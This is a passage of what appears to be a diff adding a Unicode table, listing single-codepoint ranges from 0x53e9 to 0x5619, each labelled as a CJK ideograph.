+ [0x53e9, 0x53e9], /* CJK Ideograph */
+ [0x53ea, 0x53ea], /* CJK Ideograph */
+ [0x53eb, 0x53eb], /* CJK Ideograph */
+ [0x53ec, 0x53ec], /* CJK Ideograph */
+ [0x53ed, 0x53ed], /* CJK Ideograph */
+ [0x53ee, 0x53ee], /* CJK Ideograph */
+ [0x53ef, 0x53ef], /* CJK Ideograph */
+ [0x53f0, 0x53f0], /* CJK Ideograph */
+ [0x53f1, 0x53f1], /* CJK Ideograph */
+ [0x53f2, 0x53f2], /* CJK Ideograph */
+ [0x53f3, 0x53f3], /* CJK Ideograph */
+ [0x53f4, 0x53f4], /* CJK Ideograph */
+ [0x53f5, 0x53f5], /* CJK Ideograph */
+ [0x53f6, 0x53f6], /* CJK Ideograph */
+ [0x53f7, 0x53f7], /* CJK Ideograph */
+ [0x53f8, 0x53f8], /* CJK Ideograph */
+ [0x53f9, 0x53f9], /* CJK Ideograph */
+ [0x53fa, 0x53fa], /* CJK Ideograph */
+ [0x53fb, 0x53fb], /* CJK Ideograph */
+ [0x53fc, 0x53fc], /* CJK Ideograph */
+ [0x53fd, 0x53fd], /* CJK Ideograph */
+ [0x53fe, 0x53fe], /* CJK Ideograph */
+ [0x53ff, 0x53ff], /* CJK Ideograph */
+ [0x5400, 0x5400], /* CJK Ideograph */
+ [0x5401, 0x5401], /* CJK Ideograph */
+ [0x5402, 0x5402], /* CJK Ideograph */
+ [0x5403, 0x5403], /* CJK Ideograph */
+ [0x5404, 0x5404], /* CJK Ideograph */
+ [0x5405, 0x5405], /* CJK Ideograph */
+ [0x5406, 0x5406], /* CJK Ideograph */
+ [0x5407, 0x5407], /* CJK Ideograph */
+ [0x5408, 0x5408], /* CJK Ideograph */
+ [0x5409, 0x5409], /* CJK Ideograph */
+ [0x540a, 0x540a], /* CJK Ideograph */
+ [0x540b, 0x540b], /* CJK Ideograph */
+ [0x540c, 0x540c], /* CJK Ideograph */
+ [0x540d, 0x540d], /* CJK Ideograph */
+ [0x540e, 0x540e], /* CJK Ideograph */
+ [0x540f, 0x540f], /* CJK Ideograph */
+ [0x5410, 0x5410], /* CJK Ideograph */
+ [0x5411, 0x5411], /* CJK Ideograph */
+ [0x5412, 0x5412], /* CJK Ideograph */
+ [0x5413, 0x5413], /* CJK Ideograph */
+ [0x5414, 0x5414], /* CJK Ideograph */
+ [0x5415, 0x5415], /* CJK Ideograph */
+ [0x5416, 0x5416], /* CJK Ideograph */
+ [0x5417, 0x5417], /* CJK Ideograph */
+ [0x5418, 0x5418], /* CJK Ideograph */
+ [0x5419, 0x5419], /* CJK Ideograph */
+ [0x541a, 0x541a], /* CJK Ideograph */
+ [0x541b, 0x541b], /* CJK Ideograph */
+ [0x541c, 0x541c], /* CJK Ideograph */
+ [0x541d, 0x541d], /* CJK Ideograph */
+ [0x541e, 0x541e], /* CJK Ideograph */
+ [0x541f, 0x541f], /* CJK Ideograph */
+ [0x5420, 0x5420], /* CJK Ideograph */
+ [0x5421, 0x5421], /* CJK Ideograph */
+ [0x5422, 0x5422], /* CJK Ideograph */
+ [0x5423, 0x5423], /* CJK Ideograph */
+ [0x5424, 0x5424], /* CJK Ideograph */
+ [0x5425, 0x5425], /* CJK Ideograph */
+ [0x5426, 0x5426], /* CJK Ideograph */
+ [0x5427, 0x5427], /* CJK Ideograph */
+ [0x5428, 0x5428], /* CJK Ideograph */
+ [0x5429, 0x5429], /* CJK Ideograph */
+ [0x542a, 0x542a], /* CJK Ideograph */
+ [0x542b, 0x542b], /* CJK Ideograph */
+ [0x542c, 0x542c], /* CJK Ideograph */
+ [0x542d, 0x542d], /* CJK Ideograph */
+ [0x542e, 0x542e], /* CJK Ideograph */
+ [0x542f, 0x542f], /* CJK Ideograph */
+ [0x5430, 0x5430], /* CJK Ideograph */
+ [0x5431, 0x5431], /* CJK Ideograph */
+ [0x5432, 0x5432], /* CJK Ideograph */
+ [0x5433, 0x5433], /* CJK Ideograph */
+ [0x5434, 0x5434], /* CJK Ideograph */
+ [0x5435, 0x5435], /* CJK Ideograph */
+ [0x5436, 0x5436], /* CJK Ideograph */
+ [0x5437, 0x5437], /* CJK Ideograph */
+ [0x5438, 0x5438], /* CJK Ideograph */
+ [0x5439, 0x5439], /* CJK Ideograph */
+ [0x543a, 0x543a], /* CJK Ideograph */
+ [0x543b, 0x543b], /* CJK Ideograph */
+ [0x543c, 0x543c], /* CJK Ideograph */
+ [0x543d, 0x543d], /* CJK Ideograph */
+ [0x543e, 0x543e], /* CJK Ideograph */
+ [0x543f, 0x543f], /* CJK Ideograph */
+ [0x5440, 0x5440], /* CJK Ideograph */
+ [0x5441, 0x5441], /* CJK Ideograph */
+ [0x5442, 0x5442], /* CJK Ideograph */
+ [0x5443, 0x5443], /* CJK Ideograph */
+ [0x5444, 0x5444], /* CJK Ideograph */
+ [0x5445, 0x5445], /* CJK Ideograph */
+ [0x5446, 0x5446], /* CJK Ideograph */
+ [0x5447, 0x5447], /* CJK Ideograph */
+ [0x5448, 0x5448], /* CJK Ideograph */
+ [0x5449, 0x5449], /* CJK Ideograph */
+ [0x544a, 0x544a], /* CJK Ideograph */
+ [0x544b, 0x544b], /* CJK Ideograph */
+ [0x544c, 0x544c], /* CJK Ideograph */
+ [0x544d, 0x544d], /* CJK Ideograph */
+ [0x544e, 0x544e], /* CJK Ideograph */
+ [0x544f, 0x544f], /* CJK Ideograph */
+ [0x5450, 0x5450], /* CJK Ideograph */
+ [0x5451, 0x5451], /* CJK Ideograph */
+ [0x5452, 0x5452], /* CJK Ideograph */
+ [0x5453, 0x5453], /* CJK Ideograph */
+ [0x5454, 0x5454], /* CJK Ideograph */
+ [0x5455, 0x5455], /* CJK Ideograph */
+ [0x5456, 0x5456], /* CJK Ideograph */
+ [0x5457, 0x5457], /* CJK Ideograph */
+ [0x5458, 0x5458], /* CJK Ideograph */
+ [0x5459, 0x5459], /* CJK Ideograph */
+ [0x545a, 0x545a], /* CJK Ideograph */
+ [0x545b, 0x545b], /* CJK Ideograph */
+ [0x545c, 0x545c], /* CJK Ideograph */
+ [0x545d, 0x545d], /* CJK Ideograph */
+ [0x545e, 0x545e], /* CJK Ideograph */
+ [0x545f, 0x545f], /* CJK Ideograph */
+ [0x5460, 0x5460], /* CJK Ideograph */
+ [0x5461, 0x5461], /* CJK Ideograph */
+ [0x5462, 0x5462], /* CJK Ideograph */
+ [0x5463, 0x5463], /* CJK Ideograph */
+ [0x5464, 0x5464], /* CJK Ideograph */
+ [0x5465, 0x5465], /* CJK Ideograph */
+ [0x5466, 0x5466], /* CJK Ideograph */
+ [0x5467, 0x5467], /* CJK Ideograph */
+ [0x5468, 0x5468], /* CJK Ideograph */
+ [0x5469, 0x5469], /* CJK Ideograph */
+ [0x546a, 0x546a], /* CJK Ideograph */
+ [0x546b, 0x546b], /* CJK Ideograph */
+ [0x546c, 0x546c], /* CJK Ideograph */
+ [0x546d, 0x546d], /* CJK Ideograph */
+ [0x546e, 0x546e], /* CJK Ideograph */
+ [0x546f, 0x546f], /* CJK Ideograph */
+ [0x5470, 0x5470], /* CJK Ideograph */
+ [0x5471, 0x5471], /* CJK Ideograph */
+ [0x5472, 0x5472], /* CJK Ideograph */
+ [0x5473, 0x5473], /* CJK Ideograph */
+ [0x5474, 0x5474], /* CJK Ideograph */
+ [0x5475, 0x5475], /* CJK Ideograph */
+ [0x5476, 0x5476], /* CJK Ideograph */
+ [0x5477, 0x5477], /* CJK Ideograph */
+ [0x5478, 0x5478], /* CJK Ideograph */
+ [0x5479, 0x5479], /* CJK Ideograph */
+ [0x547a, 0x547a], /* CJK Ideograph */
+ [0x547b, 0x547b], /* CJK Ideograph */
+ [0x547c, 0x547c], /* CJK Ideograph */
+ [0x547d, 0x547d], /* CJK Ideograph */
+ [0x547e, 0x547e], /* CJK Ideograph */
+ [0x547f, 0x547f], /* CJK Ideograph */
+ [0x5480, 0x5480], /* CJK Ideograph */
+ [0x5481, 0x5481], /* CJK Ideograph */
+ [0x5482, 0x5482], /* CJK Ideograph */
+ [0x5483, 0x5483], /* CJK Ideograph */
+ [0x5484, 0x5484], /* CJK Ideograph */
+ [0x5485, 0x5485], /* CJK Ideograph */
+ [0x5486, 0x5486], /* CJK Ideograph */
+ [0x5487, 0x5487], /* CJK Ideograph */
+ [0x5488, 0x5488], /* CJK Ideograph */
+ [0x5489, 0x5489], /* CJK Ideograph */
+ [0x548a, 0x548a], /* CJK Ideograph */
+ [0x548b, 0x548b], /* CJK Ideograph */
+ [0x548c, 0x548c], /* CJK Ideograph */
+ [0x548d, 0x548d], /* CJK Ideograph */
+ [0x548e, 0x548e], /* CJK Ideograph */
+ [0x548f, 0x548f], /* CJK Ideograph */
+ [0x5490, 0x5490], /* CJK Ideograph */
+ [0x5491, 0x5491], /* CJK Ideograph */
+ [0x5492, 0x5492], /* CJK Ideograph */
+ [0x5493, 0x5493], /* CJK Ideograph */
+ [0x5494, 0x5494], /* CJK Ideograph */
+ [0x5495, 0x5495], /* CJK Ideograph */
+ [0x5496, 0x5496], /* CJK Ideograph */
+ [0x5497, 0x5497], /* CJK Ideograph */
+ [0x5498, 0x5498], /* CJK Ideograph */
+ [0x5499, 0x5499], /* CJK Ideograph */
+ [0x549a, 0x549a], /* CJK Ideograph */
+ [0x549b, 0x549b], /* CJK Ideograph */
+ [0x549c, 0x549c], /* CJK Ideograph */
+ [0x549d, 0x549d], /* CJK Ideograph */
+ [0x549e, 0x549e], /* CJK Ideograph */
+ [0x549f, 0x549f], /* CJK Ideograph */
+ [0x54a0, 0x54a0], /* CJK Ideograph */
+ [0x54a1, 0x54a1], /* CJK Ideograph */
+ [0x54a2, 0x54a2], /* CJK Ideograph */
+ [0x54a3, 0x54a3], /* CJK Ideograph */
+ [0x54a4, 0x54a4], /* CJK Ideograph */
+ [0x54a5, 0x54a5], /* CJK Ideograph */
+ [0x54a6, 0x54a6], /* CJK Ideograph */
+ [0x54a7, 0x54a7], /* CJK Ideograph */
+ [0x54a8, 0x54a8], /* CJK Ideograph */
+ [0x54a9, 0x54a9], /* CJK Ideograph */
+ [0x54aa, 0x54aa], /* CJK Ideograph */
+ [0x54ab, 0x54ab], /* CJK Ideograph */
+ [0x54ac, 0x54ac], /* CJK Ideograph */
+ [0x54ad, 0x54ad], /* CJK Ideograph */
+ [0x54ae, 0x54ae], /* CJK Ideograph */
+ [0x54af, 0x54af], /* CJK Ideograph */
+ [0x54b0, 0x54b0], /* CJK Ideograph */
+ [0x54b1, 0x54b1], /* CJK Ideograph */
+ [0x54b2, 0x54b2], /* CJK Ideograph */
+ [0x54b3, 0x54b3], /* CJK Ideograph */
+ [0x54b4, 0x54b4], /* CJK Ideograph */
+ [0x54b5, 0x54b5], /* CJK Ideograph */
+ [0x54b6, 0x54b6], /* CJK Ideograph */
+ [0x54b7, 0x54b7], /* CJK Ideograph */
+ [0x54b8, 0x54b8], /* CJK Ideograph */
+ [0x54b9, 0x54b9], /* CJK Ideograph */
+ [0x54ba, 0x54ba], /* CJK Ideograph */
+ [0x54bb, 0x54bb], /* CJK Ideograph */
+ [0x54bc, 0x54bc], /* CJK Ideograph */
+ [0x54bd, 0x54bd], /* CJK Ideograph */
+ [0x54be, 0x54be], /* CJK Ideograph */
+ [0x54bf, 0x54bf], /* CJK Ideograph */
+ [0x54c0, 0x54c0], /* CJK Ideograph */
+ [0x54c1, 0x54c1], /* CJK Ideograph */
+ [0x54c2, 0x54c2], /* CJK Ideograph */
+ [0x54c3, 0x54c3], /* CJK Ideograph */
+ [0x54c4, 0x54c4], /* CJK Ideograph */
+ [0x54c5, 0x54c5], /* CJK Ideograph */
+ [0x54c6, 0x54c6], /* CJK Ideograph */
+ [0x54c7, 0x54c7], /* CJK Ideograph */
+ [0x54c8, 0x54c8], /* CJK Ideograph */
+ [0x54c9, 0x54c9], /* CJK Ideograph */
+ [0x54ca, 0x54ca], /* CJK Ideograph */
+ [0x54cb, 0x54cb], /* CJK Ideograph */
+ [0x54cc, 0x54cc], /* CJK Ideograph */
+ [0x54cd, 0x54cd], /* CJK Ideograph */
+ [0x54ce, 0x54ce], /* CJK Ideograph */
+ [0x54cf, 0x54cf], /* CJK Ideograph */
+ [0x54d0, 0x54d0], /* CJK Ideograph */
+ [0x54d1, 0x54d1], /* CJK Ideograph */
+ [0x54d2, 0x54d2], /* CJK Ideograph */
+ [0x54d3, 0x54d3], /* CJK Ideograph */
+ [0x54d4, 0x54d4], /* CJK Ideograph */
+ [0x54d5, 0x54d5], /* CJK Ideograph */
+ [0x54d6, 0x54d6], /* CJK Ideograph */
+ [0x54d7, 0x54d7], /* CJK Ideograph */
+ [0x54d8, 0x54d8], /* CJK Ideograph */
+ [0x54d9, 0x54d9], /* CJK Ideograph */
+ [0x54da, 0x54da], /* CJK Ideograph */
+ [0x54db, 0x54db], /* CJK Ideograph */
+ [0x54dc, 0x54dc], /* CJK Ideograph */
+ [0x54dd, 0x54dd], /* CJK Ideograph */
+ [0x54de, 0x54de], /* CJK Ideograph */
+ [0x54df, 0x54df], /* CJK Ideograph */
+ [0x54e0, 0x54e0], /* CJK Ideograph */
+ [0x54e1, 0x54e1], /* CJK Ideograph */
+ [0x54e2, 0x54e2], /* CJK Ideograph */
+ [0x54e3, 0x54e3], /* CJK Ideograph */
+ [0x54e4, 0x54e4], /* CJK Ideograph */
+ [0x54e5, 0x54e5], /* CJK Ideograph */
+ [0x54e6, 0x54e6], /* CJK Ideograph */
+ [0x54e7, 0x54e7], /* CJK Ideograph */
+ [0x54e8, 0x54e8], /* CJK Ideograph */
+ [0x54e9, 0x54e9], /* CJK Ideograph */
+ [0x54ea, 0x54ea], /* CJK Ideograph */
+ [0x54eb, 0x54eb], /* CJK Ideograph */
+ [0x54ec, 0x54ec], /* CJK Ideograph */
+ [0x54ed, 0x54ed], /* CJK Ideograph */
+ [0x54ee, 0x54ee], /* CJK Ideograph */
+ [0x54ef, 0x54ef], /* CJK Ideograph */
+ [0x54f0, 0x54f0], /* CJK Ideograph */
+ [0x54f1, 0x54f1], /* CJK Ideograph */
+ [0x54f2, 0x54f2], /* CJK Ideograph */
+ [0x54f3, 0x54f3], /* CJK Ideograph */
+ [0x54f4, 0x54f4], /* CJK Ideograph */
+ [0x54f5, 0x54f5], /* CJK Ideograph */
+ [0x54f6, 0x54f6], /* CJK Ideograph */
+ [0x54f7, 0x54f7], /* CJK Ideograph */
+ [0x54f8, 0x54f8], /* CJK Ideograph */
+ [0x54f9, 0x54f9], /* CJK Ideograph */
+ [0x54fa, 0x54fa], /* CJK Ideograph */
+ [0x54fb, 0x54fb], /* CJK Ideograph */
+ [0x54fc, 0x54fc], /* CJK Ideograph */
+ [0x54fd, 0x54fd], /* CJK Ideograph */
+ [0x54fe, 0x54fe], /* CJK Ideograph */
+ [0x54ff, 0x54ff], /* CJK Ideograph */
+ [0x5500, 0x5500], /* CJK Ideograph */
+ [0x5501, 0x5501], /* CJK Ideograph */
+ [0x5502, 0x5502], /* CJK Ideograph */
+ [0x5503, 0x5503], /* CJK Ideograph */
+ [0x5504, 0x5504], /* CJK Ideograph */
+ [0x5505, 0x5505], /* CJK Ideograph */
+ [0x5506, 0x5506], /* CJK Ideograph */
+ [0x5507, 0x5507], /* CJK Ideograph */
+ [0x5508, 0x5508], /* CJK Ideograph */
+ [0x5509, 0x5509], /* CJK Ideograph */
+ [0x550a, 0x550a], /* CJK Ideograph */
+ [0x550b, 0x550b], /* CJK Ideograph */
+ [0x550c, 0x550c], /* CJK Ideograph */
+ [0x550d, 0x550d], /* CJK Ideograph */
+ [0x550e, 0x550e], /* CJK Ideograph */
+ [0x550f, 0x550f], /* CJK Ideograph */
+ [0x5510, 0x5510], /* CJK Ideograph */
+ [0x5511, 0x5511], /* CJK Ideograph */
+ [0x5512, 0x5512], /* CJK Ideograph */
+ [0x5513, 0x5513], /* CJK Ideograph */
+ [0x5514, 0x5514], /* CJK Ideograph */
+ [0x5515, 0x5515], /* CJK Ideograph */
+ [0x5516, 0x5516], /* CJK Ideograph */
+ [0x5517, 0x5517], /* CJK Ideograph */
+ [0x5518, 0x5518], /* CJK Ideograph */
+ [0x5519, 0x5519], /* CJK Ideograph */
+ [0x551a, 0x551a], /* CJK Ideograph */
+ [0x551b, 0x551b], /* CJK Ideograph */
+ [0x551c, 0x551c], /* CJK Ideograph */
+ [0x551d, 0x551d], /* CJK Ideograph */
+ [0x551e, 0x551e], /* CJK Ideograph */
+ [0x551f, 0x551f], /* CJK Ideograph */
+ [0x5520, 0x5520], /* CJK Ideograph */
+ [0x5521, 0x5521], /* CJK Ideograph */
+ [0x5522, 0x5522], /* CJK Ideograph */
+ [0x5523, 0x5523], /* CJK Ideograph */
+ [0x5524, 0x5524], /* CJK Ideograph */
+ [0x5525, 0x5525], /* CJK Ideograph */
+ [0x5526, 0x5526], /* CJK Ideograph */
+ [0x5527, 0x5527], /* CJK Ideograph */
+ [0x5528, 0x5528], /* CJK Ideograph */
+ [0x5529, 0x5529], /* CJK Ideograph */
+ [0x552a, 0x552a], /* CJK Ideograph */
+ [0x552b, 0x552b], /* CJK Ideograph */
+ [0x552c, 0x552c], /* CJK Ideograph */
+ [0x552d, 0x552d], /* CJK Ideograph */
+ [0x552e, 0x552e], /* CJK Ideograph */
+ [0x552f, 0x552f], /* CJK Ideograph */
+ [0x5530, 0x5530], /* CJK Ideograph */
+ [0x5531, 0x5531], /* CJK Ideograph */
+ [0x5532, 0x5532], /* CJK Ideograph */
+ [0x5533, 0x5533], /* CJK Ideograph */
+ [0x5534, 0x5534], /* CJK Ideograph */
+ [0x5535, 0x5535], /* CJK Ideograph */
+ [0x5536, 0x5536], /* CJK Ideograph */
+ [0x5537, 0x5537], /* CJK Ideograph */
+ [0x5538, 0x5538], /* CJK Ideograph */
+ [0x5539, 0x5539], /* CJK Ideograph */
+ [0x553a, 0x553a], /* CJK Ideograph */
+ [0x553b, 0x553b], /* CJK Ideograph */
+ [0x553c, 0x553c], /* CJK Ideograph */
+ [0x553d, 0x553d], /* CJK Ideograph */
+ [0x553e, 0x553e], /* CJK Ideograph */
+ [0x553f, 0x553f], /* CJK Ideograph */
+ [0x5540, 0x5540], /* CJK Ideograph */
+ [0x5541, 0x5541], /* CJK Ideograph */
+ [0x5542, 0x5542], /* CJK Ideograph */
+ [0x5543, 0x5543], /* CJK Ideograph */
+ [0x5544, 0x5544], /* CJK Ideograph */
+ [0x5545, 0x5545], /* CJK Ideograph */
+ [0x5546, 0x5546], /* CJK Ideograph */
+ [0x5547, 0x5547], /* CJK Ideograph */
+ [0x5548, 0x5548], /* CJK Ideograph */
+ [0x5549, 0x5549], /* CJK Ideograph */
+ [0x554a, 0x554a], /* CJK Ideograph */
+ [0x554b, 0x554b], /* CJK Ideograph */
+ [0x554c, 0x554c], /* CJK Ideograph */
+ [0x554d, 0x554d], /* CJK Ideograph */
+ [0x554e, 0x554e], /* CJK Ideograph */
+ [0x554f, 0x554f], /* CJK Ideograph */
+ [0x5550, 0x5550], /* CJK Ideograph */
+ [0x5551, 0x5551], /* CJK Ideograph */
+ [0x5552, 0x5552], /* CJK Ideograph */
+ [0x5553, 0x5553], /* CJK Ideograph */
+ [0x5554, 0x5554], /* CJK Ideograph */
+ [0x5555, 0x5555], /* CJK Ideograph */
+ [0x5556, 0x5556], /* CJK Ideograph */
+ [0x5557, 0x5557], /* CJK Ideograph */
+ [0x5558, 0x5558], /* CJK Ideograph */
+ [0x5559, 0x5559], /* CJK Ideograph */
+ [0x555a, 0x555a], /* CJK Ideograph */
+ [0x555b, 0x555b], /* CJK Ideograph */
+ [0x555c, 0x555c], /* CJK Ideograph */
+ [0x555d, 0x555d], /* CJK Ideograph */
+ [0x555e, 0x555e], /* CJK Ideograph */
+ [0x555f, 0x555f], /* CJK Ideograph */
+ [0x5560, 0x5560], /* CJK Ideograph */
+ [0x5561, 0x5561], /* CJK Ideograph */
+ [0x5562, 0x5562], /* CJK Ideograph */
+ [0x5563, 0x5563], /* CJK Ideograph */
+ [0x5564, 0x5564], /* CJK Ideograph */
+ [0x5565, 0x5565], /* CJK Ideograph */
+ [0x5566, 0x5566], /* CJK Ideograph */
+ [0x5567, 0x5567], /* CJK Ideograph */
+ [0x5568, 0x5568], /* CJK Ideograph */
+ [0x5569, 0x5569], /* CJK Ideograph */
+ [0x556a, 0x556a], /* CJK Ideograph */
+ [0x556b, 0x556b], /* CJK Ideograph */
+ [0x556c, 0x556c], /* CJK Ideograph */
+ [0x556d, 0x556d], /* CJK Ideograph */
+ [0x556e, 0x556e], /* CJK Ideograph */
+ [0x556f, 0x556f], /* CJK Ideograph */
+ [0x5570, 0x5570], /* CJK Ideograph */
+ [0x5571, 0x5571], /* CJK Ideograph */
+ [0x5572, 0x5572], /* CJK Ideograph */
+ [0x5573, 0x5573], /* CJK Ideograph */
+ [0x5574, 0x5574], /* CJK Ideograph */
+ [0x5575, 0x5575], /* CJK Ideograph */
+ [0x5576, 0x5576], /* CJK Ideograph */
+ [0x5577, 0x5577], /* CJK Ideograph */
+ [0x5578, 0x5578], /* CJK Ideograph */
+ [0x5579, 0x5579], /* CJK Ideograph */
+ [0x557a, 0x557a], /* CJK Ideograph */
+ [0x557b, 0x557b], /* CJK Ideograph */
+ [0x557c, 0x557c], /* CJK Ideograph */
+ [0x557d, 0x557d], /* CJK Ideograph */
+ [0x557e, 0x557e], /* CJK Ideograph */
+ [0x557f, 0x557f], /* CJK Ideograph */
+ [0x5580, 0x5580], /* CJK Ideograph */
+ [0x5581, 0x5581], /* CJK Ideograph */
+ [0x5582, 0x5582], /* CJK Ideograph */
+ [0x5583, 0x5583], /* CJK Ideograph */
+ [0x5584, 0x5584], /* CJK Ideograph */
+ [0x5585, 0x5585], /* CJK Ideograph */
+ [0x5586, 0x5586], /* CJK Ideograph */
+ [0x5587, 0x5587], /* CJK Ideograph */
+ [0x5588, 0x5588], /* CJK Ideograph */
+ [0x5589, 0x5589], /* CJK Ideograph */
+ [0x558a, 0x558a], /* CJK Ideograph */
+ [0x558b, 0x558b], /* CJK Ideograph */
+ [0x558c, 0x558c], /* CJK Ideograph */
+ [0x558d, 0x558d], /* CJK Ideograph */
+ [0x558e, 0x558e], /* CJK Ideograph */
+ [0x558f, 0x558f], /* CJK Ideograph */
+ [0x5590, 0x5590], /* CJK Ideograph */
+ [0x5591, 0x5591], /* CJK Ideograph */
+ [0x5592, 0x5592], /* CJK Ideograph */
+ [0x5593, 0x5593], /* CJK Ideograph */
+ [0x5594, 0x5594], /* CJK Ideograph */
+ [0x5595, 0x5595], /* CJK Ideograph */
+ [0x5596, 0x5596], /* CJK Ideograph */
+ [0x5597, 0x5597], /* CJK Ideograph */
+ [0x5598, 0x5598], /* CJK Ideograph */
+ [0x5599, 0x5599], /* CJK Ideograph */
+ [0x559a, 0x559a], /* CJK Ideograph */
+ [0x559b, 0x559b], /* CJK Ideograph */
+ [0x559c, 0x559c], /* CJK Ideograph */
+ [0x559d, 0x559d], /* CJK Ideograph */
+ [0x559e, 0x559e], /* CJK Ideograph */
+ [0x559f, 0x559f], /* CJK Ideograph */
+ [0x55a0, 0x55a0], /* CJK Ideograph */
+ [0x55a1, 0x55a1], /* CJK Ideograph */
+ [0x55a2, 0x55a2], /* CJK Ideograph */
+ [0x55a3, 0x55a3], /* CJK Ideograph */
+ [0x55a4, 0x55a4], /* CJK Ideograph */
+ [0x55a5, 0x55a5], /* CJK Ideograph */
+ [0x55a6, 0x55a6], /* CJK Ideograph */
+ [0x55a7, 0x55a7], /* CJK Ideograph */
+ [0x55a8, 0x55a8], /* CJK Ideograph */
+ [0x55a9, 0x55a9], /* CJK Ideograph */
+ [0x55aa, 0x55aa], /* CJK Ideograph */
+ [0x55ab, 0x55ab], /* CJK Ideograph */
+ [0x55ac, 0x55ac], /* CJK Ideograph */
+ [0x55ad, 0x55ad], /* CJK Ideograph */
+ [0x55ae, 0x55ae], /* CJK Ideograph */
+ [0x55af, 0x55af], /* CJK Ideograph */
+ [0x55b0, 0x55b0], /* CJK Ideograph */
+ [0x55b1, 0x55b1], /* CJK Ideograph */
+ [0x55b2, 0x55b2], /* CJK Ideograph */
+ [0x55b3, 0x55b3], /* CJK Ideograph */
+ [0x55b4, 0x55b4], /* CJK Ideograph */
+ [0x55b5, 0x55b5], /* CJK Ideograph */
+ [0x55b6, 0x55b6], /* CJK Ideograph */
+ [0x55b7, 0x55b7], /* CJK Ideograph */
+ [0x55b8, 0x55b8], /* CJK Ideograph */
+ [0x55b9, 0x55b9], /* CJK Ideograph */
+ [0x55ba, 0x55ba], /* CJK Ideograph */
+ [0x55bb, 0x55bb], /* CJK Ideograph */
+ [0x55bc, 0x55bc], /* CJK Ideograph */
+ [0x55bd, 0x55bd], /* CJK Ideograph */
+ [0x55be, 0x55be], /* CJK Ideograph */
+ [0x55bf, 0x55bf], /* CJK Ideograph */
+ [0x55c0, 0x55c0], /* CJK Ideograph */
+ [0x55c1, 0x55c1], /* CJK Ideograph */
+ [0x55c2, 0x55c2], /* CJK Ideograph */
+ [0x55c3, 0x55c3], /* CJK Ideograph */
+ [0x55c4, 0x55c4], /* CJK Ideograph */
+ [0x55c5, 0x55c5], /* CJK Ideograph */
+ [0x55c6, 0x55c6], /* CJK Ideograph */
+ [0x55c7, 0x55c7], /* CJK Ideograph */
+ [0x55c8, 0x55c8], /* CJK Ideograph */
+ [0x55c9, 0x55c9], /* CJK Ideograph */
+ [0x55ca, 0x55ca], /* CJK Ideograph */
+ [0x55cb, 0x55cb], /* CJK Ideograph */
+ [0x55cc, 0x55cc], /* CJK Ideograph */
+ [0x55cd, 0x55cd], /* CJK Ideograph */
+ [0x55ce, 0x55ce], /* CJK Ideograph */
+ [0x55cf, 0x55cf], /* CJK Ideograph */
+ [0x55d0, 0x55d0], /* CJK Ideograph */
+ [0x55d1, 0x55d1], /* CJK Ideograph */
+ [0x55d2, 0x55d2], /* CJK Ideograph */
+ [0x55d3, 0x55d3], /* CJK Ideograph */
+ [0x55d4, 0x55d4], /* CJK Ideograph */
+ [0x55d5, 0x55d5], /* CJK Ideograph */
+ [0x55d6, 0x55d6], /* CJK Ideograph */
+ [0x55d7, 0x55d7], /* CJK Ideograph */
+ [0x55d8, 0x55d8], /* CJK Ideograph */
+ [0x55d9, 0x55d9], /* CJK Ideograph */
+ [0x55da, 0x55da], /* CJK Ideograph */
+ [0x55db, 0x55db], /* CJK Ideograph */
+ [0x55dc, 0x55dc], /* CJK Ideograph */
+ [0x55dd, 0x55dd], /* CJK Ideograph */
+ [0x55de, 0x55de], /* CJK Ideograph */
+ [0x55df, 0x55df], /* CJK Ideograph */
+ [0x55e0, 0x55e0], /* CJK Ideograph */
+ [0x55e1, 0x55e1], /* CJK Ideograph */
+ [0x55e2, 0x55e2], /* CJK Ideograph */
+ [0x55e3, 0x55e3], /* CJK Ideograph */
+ [0x55e4, 0x55e4], /* CJK Ideograph */
+ [0x55e5, 0x55e5], /* CJK Ideograph */
+ [0x55e6, 0x55e6], /* CJK Ideograph */
+ [0x55e7, 0x55e7], /* CJK Ideograph */
+ [0x55e8, 0x55e8], /* CJK Ideograph */
+ [0x55e9, 0x55e9], /* CJK Ideograph */
+ [0x55ea, 0x55ea], /* CJK Ideograph */
+ [0x55eb, 0x55eb], /* CJK Ideograph */
+ [0x55ec, 0x55ec], /* CJK Ideograph */
+ [0x55ed, 0x55ed], /* CJK Ideograph */
+ [0x55ee, 0x55ee], /* CJK Ideograph */
+ [0x55ef, 0x55ef], /* CJK Ideograph */
+ [0x55f0, 0x55f0], /* CJK Ideograph */
+ [0x55f1, 0x55f1], /* CJK Ideograph */
+ [0x55f2, 0x55f2], /* CJK Ideograph */
+ [0x55f3, 0x55f3], /* CJK Ideograph */
+ [0x55f4, 0x55f4], /* CJK Ideograph */
+ [0x55f5, 0x55f5], /* CJK Ideograph */
+ [0x55f6, 0x55f6], /* CJK Ideograph */
+ [0x55f7, 0x55f7], /* CJK Ideograph */
+ [0x55f8, 0x55f8], /* CJK Ideograph */
+ [0x55f9, 0x55f9], /* CJK Ideograph */
+ [0x55fa, 0x55fa], /* CJK Ideograph */
+ [0x55fb, 0x55fb], /* CJK Ideograph */
+ [0x55fc, 0x55fc], /* CJK Ideograph */
+ [0x55fd, 0x55fd], /* CJK Ideograph */
+ [0x55fe, 0x55fe], /* CJK Ideograph */
+ [0x55ff, 0x55ff], /* CJK Ideograph */
+ [0x5600, 0x5600], /* CJK Ideograph */
+ [0x5601, 0x5601], /* CJK Ideograph */
+ [0x5602, 0x5602], /* CJK Ideograph */
+ [0x5603, 0x5603], /* CJK Ideograph */
+ [0x5604, 0x5604], /* CJK Ideograph */
+ [0x5605, 0x5605], /* CJK Ideograph */
+ [0x5606, 0x5606], /* CJK Ideograph */
+ [0x5607, 0x5607], /* CJK Ideograph */
+ [0x5608, 0x5608], /* CJK Ideograph */
+ [0x5609, 0x5609], /* CJK Ideograph */
+ [0x560a, 0x560a], /* CJK Ideograph */
+ [0x560b, 0x560b], /* CJK Ideograph */
+ [0x560c, 0x560c], /* CJK Ideograph */
+ [0x560d, 0x560d], /* CJK Ideograph */
+ [0x560e, 0x560e], /* CJK Ideograph */
+ [0x560f, 0x560f], /* CJK Ideograph */
+ [0x5610, 0x5610], /* CJK Ideograph */
+ [0x5611, 0x5611], /* CJK Ideograph */
+ [0x5612, 0x5612], /* CJK Ideograph */
+ [0x5613, 0x5613], /* CJK Ideograph */
+ [0x5614, 0x5614], /* CJK Ideograph */
+ [0x5615, 0x5615], /* CJK Ideograph */
+ [0x5616, 0x5616], /* CJK Ideograph */
+ [0x5617, 0x5617], /* CJK Ideograph */
+ [0x5618, 0x5618], /* CJK Ideograph */
+ [0x5619, 0x5619], /* CJK Ideograph */
